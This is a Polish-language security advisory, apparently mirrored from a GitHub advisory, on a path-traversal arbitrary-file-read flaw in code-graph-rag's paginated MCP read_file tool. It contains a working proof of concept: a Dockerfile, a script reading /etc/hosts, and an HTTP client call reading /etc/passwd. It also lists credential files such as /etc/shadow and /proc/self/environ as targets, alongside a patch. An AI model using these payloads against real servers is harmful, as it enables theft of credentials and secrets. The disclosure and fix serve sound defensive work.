Code Graph RAG: luka path traversal / odczyt dowolnych plików w stronicowanym read_file MCP
Podsumowanie
Narzędzie MCP read_file w codebase_rag/mcp/tools.py zawiera podatność typu path traversal w gałęzi obsługującej stronicowanie (gdy przekazany jest parametr offset lub limit). Kod procedury buduje ścieżkę do pliku za pomocą Path(self.project_root) / file_path bez późniejszej weryfikacji, czy wynikowa ścieżka mieści się w skonfigurowanym katalogu głównym projektu. Używany w języku Python operator pathlib po cichu odrzuca lewy komponent, jeśli prawy argument jest ścieżką bezwzględną, co pozwala atakującemu na odczyt dowolnego pliku czytelnego w formacie UTF-8 na serwerze poprzez podanie ścieżki bezwzględnej, takiej jak /etc/passwd.
Szczegóły
Podatne miejsce: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)
Narzędzie MCP read_file przyjmuje trzy parametry: file_path, offset oraz limit. Gdy występuje offset lub limit, procedura wykonuje osobną ścieżkę kodu:
# codebase_rag/mcp/tools.py:556-565
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
full_path = Path(self.project_root) / file_path # ← VULNERABLE LINE
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f: # ← SINK
Ponieważ pathlib.Path.__truediv__ całkowicie zastępuje lewy operand, gdy prawy operand jest ścieżką bezwzględną, dowolna ścieżka bezwzględna dostarczona przez wywołującego (np. /etc/passwd, /proc/self/environ) sprawia, że full_path wskazuje poza katalog główny projektu.
Gałąź niestronicowana jest chroniona przez dekorator @validate_project_path (stosowany za pośrednictwem codebase_rag/tools/file_reader.py:27), który realizuje .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), jednak dekorator ten nie jest nigdy wywoływany w gałęzi stronicowanej, pozostawiając ją całkowicie bez ochrony.
Pełny przepływ danych (źródło → ujście):
codebase_rag/config.py:302— domyślnym hostem protokołu HTTP MCP jest0.0.0.0.codebase_rag/cli.py:717— interfejs CLI udostępniamcp-server.codebase_rag/cli.py:726–731—--transport httpwywołujeserve_http(host=resolved_host, port=resolved_port).codebase_rag/mcp/server.py:208–210— Starlette montuje punkt końcowy HTTP MCP.codebase_rag/mcp/tools.py:227–249—read_filejest rejestrowane jako narzędzie MCP przyjmujące kontrolowane przez atakującego parametryfile_path,offsetilimit.codebase_rag/mcp/server.py:113–127—call_toolprzekazuje argumenty JSON bezpośrednio do procedury obsługi poprzezawait handler(**arguments).codebase_rag/mcp/tools.py:561–565— gałąź stronicowana budujefull_pathi wywołujeopen(full_path)bez jakiejkolwiek weryfikacji granic katalogu.
Podatność występuje także przy użyciu transportu stdio, ponieważ podatna ścieżka kodu nie zależy od typu transportu; jednak atak bez uwierzytelnienia dostępny przez sieć jest możliwy tylko przy skonfigurowanym transporcie HTTP.
PoC
Wymagania wstępne:
- Zainstalowany Docker.
- Sklonowane repozytorium z obecnymi plikami
vuln-001/(Dockerfile, poc.py).
Budowanie i uruchomienie:
# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc
Plik Dockerfile instaluje pakiet codebase_rag z lokalnych źródeł repozytorium, tworzy „bezpieczny” katalog główny projektu pod ścieżką /tmp/safe-project-root i uruchamia poc.py.
Działanie skryptu PoC (poc.py):
- Wstępnie mockuje natywne rozszerzenia C
mgclient/pymgclient(klient Memgraph), dzięki czemu pakiet importuje się bez działającej bazy danych. - Tworzy instancję
MCPToolsRegistrypoprzezobject.__new__(), ustawiając jedynieself.project_root = "/tmp/safe-project-root"— odzwierciedlając zachowanie rzeczywistego serwera. - Demonstruje ominięcie za pomocą pathlib:
Path("/tmp/safe-project-root") / "/etc/hosts"wskazuje naPath("/etc/hosts"). - Wywołuje
registry.read_file("/etc/hosts", offset=0, limit=5)— rzeczywistą podatną metodę z zainstalowanego pakietu. - Potwierdza asercją zwrócenie rzeczywistej zawartości
/etc/hosts, co dowodzi pełnego ominięcia ograniczeń katalogu.
Oczekiwany wynik:
[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal
Równoważny atak przez transport HTTP (gdy serwer jest uruchomiony):
python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"read_file",
{"file_path": "/etc/passwd", "offset": 0, "limit": 10},
)
print(result.content[0].text)
anyio.run(main)
PY
Naprawa:
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
- full_path = Path(self.project_root) / file_path
+ project_root = Path(self.project_root).resolve()
+ try:
+ full_path = (project_root / file_path).resolve()
+ full_path.relative_to(project_root)
+ except (ValueError, RuntimeError):
+ return te.ERROR_WRAPPER.format(
+ message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+ )
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f:
Wpływ
Jest to luka typu path traversal / odczyt dowolnych plików. Podatna jest każda dostępna przez sieć instancja serwera MCP HTTP; w domyślnej konfiguracji nie jest wymagane uwierzytelnienie.
Nieuwierzytelniony zdalny atakujący może odczytać dowolny plik z systemu plików serwera, do którego prawa odczytu posiada proces uruchamiający cgr mcp-server. Celami ataku mogą być m.in.:
/etc/passwd,/etc/shadow— ujawnienie danych uwierzytelniających.- Klucze aplikacji, klucze API, pliki
.envlub klucze prywatne przechowywane na hoście. - Kod źródłowy lub konfiguracja spoza wyznaczonego repozytorium projektu.
- Punkty końcowe metadanych instancji chmurowych osiągalne poprzez lokalną ścieżkę pliku (np.
/proc/self/environw celu ujawnienia zmiennych środowiskowych).
Podatność jest szczególnie poważna, ponieważ transport HTTP domyślnie nasłuchuje na 0.0.0.0:8080 (codebase_rag/config.py:302), udostępniając serwer w sieci bez żadnych wymagań uwierzytelniania w domyślnej konfiguracji.
Pliki reprodukcyjne
Dockerfile
FROM python:3.12-slim
# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the vulnerable repository source
COPY repo/ /app/repo/
# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
pip install --quiet \
loguru \
"mcp>=1.25.0" \
"pydantic-ai>=1.102.0" \
"pydantic-settings>=2.12.0" \
"python-dotenv>=1.2.1" \
"tiktoken>=0.12.0" \
"toml>=0.10.2" \
"tree-sitter==0.25.2" \
"tree-sitter-python>=0.25.0" \
"watchdog>=6.0.0" \
"typer>=0.21.1" \
"rich>=14.2.0" \
"prompt-toolkit>=3.0.52" \
"diff-match-patch>=20241021" \
"click>=8.3.1" \
"protobuf>=6.33.5" \
"defusedxml>=0.7.1" \
"huggingface-hub>=1.7.2" \
"pathspec>=1.0.4" \
"griffe>=1.0,<2" \
httpx \
anyio
# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/
# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
echo "# This is a safe project file" > /tmp/safe-project-root/README.md
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)
Vulnerable code location:
codebase_rag/mcp/tools.py lines 561-565 (MCPToolsRegistry.read_file)
Root cause:
When 'offset' or 'limit' is provided, the method builds the path as:
full_path = Path(self.project_root) / file_path # line 562
Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
The non-paginated branch is protected by @validate_project_path, but this branch
has no such guard, so any absolute path is opened unconditionally.
Attack path (HTTP transport):
MCP client -> POST /mcp -> call_tool("read_file", {"file_path": "/etc/hosts",
"offset": 0, "limit": 5})
-> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
-> full_path = Path("/safe/root") / "/etc/hosts" ==> Path("/etc/hosts")
-> open("/etc/hosts") # no boundary check, file content returned
This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package. The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path. The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""
import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock
# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client). It is imported at the top of
# codebase_rag/services/graph_service.py. Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
print(f"[!] Import failed: {exc}")
sys.exit(2)
print("[+] Import successful\n")
# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"
registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT
print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()
# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"
joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f" Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f" => {joined}")
print(f" Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")
assert str(joined) == ATTACK_PATH, (
f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")
# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path = {joined}")
print()
async def run_poc() -> str:
return await registry.read_file(ATTACK_PATH, offset=0, limit=5)
result = asyncio.run(run_poc())
print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()
# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
actual_hosts = fh.read()
# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
"Lines " in result # pagination header present
or "127.0.0.1" in result # standard loopback entry
or "localhost" in result # standard hostname entry
or "::1" in result # IPv6 loopback
or any(
line.strip() in result
for line in actual_hosts.splitlines()
if line.strip() and not line.startswith("#")
)
)
if confirmed:
print("[+] EXPLOIT SUCCESSFUL")
print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
print()
print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
sys.exit(0)
else:
print("[-] Validation failed -- could not find /etc/hosts content in result")
print(f"[-] Returned value: {result!r}")
sys.exit(1)
Co trzeba zrobić
Zaktualizuj do wersji 0.0.345 lub nowszej.
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
- full_path = Path(self.project_root) / file_path
+ project_root = Path(self.project_root).resolve()
+ try:
+ full_path = (project_root / file_path).resolve()
+ full_path.relative_to(project_root)
+ except (ValueError, RuntimeError):
+ return te.ERROR_WRAPPER.format(
+ message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+ )
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f:
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | code-graph-rag | < 0.0.345 | 0.0.345 |
Odnośniki
- https://github.com/vitali87/code-graph-rag/security/advisories/GHSA-vvr2-h2jp-838m
- https://nvd.nist.gov/vuln/detail/CVE-2026-77604
- https://github.com/vitali87/code-graph-rag/commit/6541e920a27961fa8f3ff49ef38c0e0bd09cd626
- https://github.com/vitali87/code-graph-rag
- https://github.com/vitali87/code-graph-rag/releases/tag/v0.0.345
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Słabość (CWE)
CWE-22- Platforma
- Python (PyPI)
- Paczka
code-graph-rag- Ujawniono
- 09.11.2026
- Aktualizacja
- 10.11.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-vvr2-h2jp-838m - CC BY 4.0
Historia podatności: code-graph-rag
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 2
- Pierwsza → ostatnia
- 11.2026 11.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
Ujawnienia w latach
- 2026: 2
-
Code Graph RAG: luka path traversal / odczyt dowolnych plików w stronicowanym read_file MCP ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.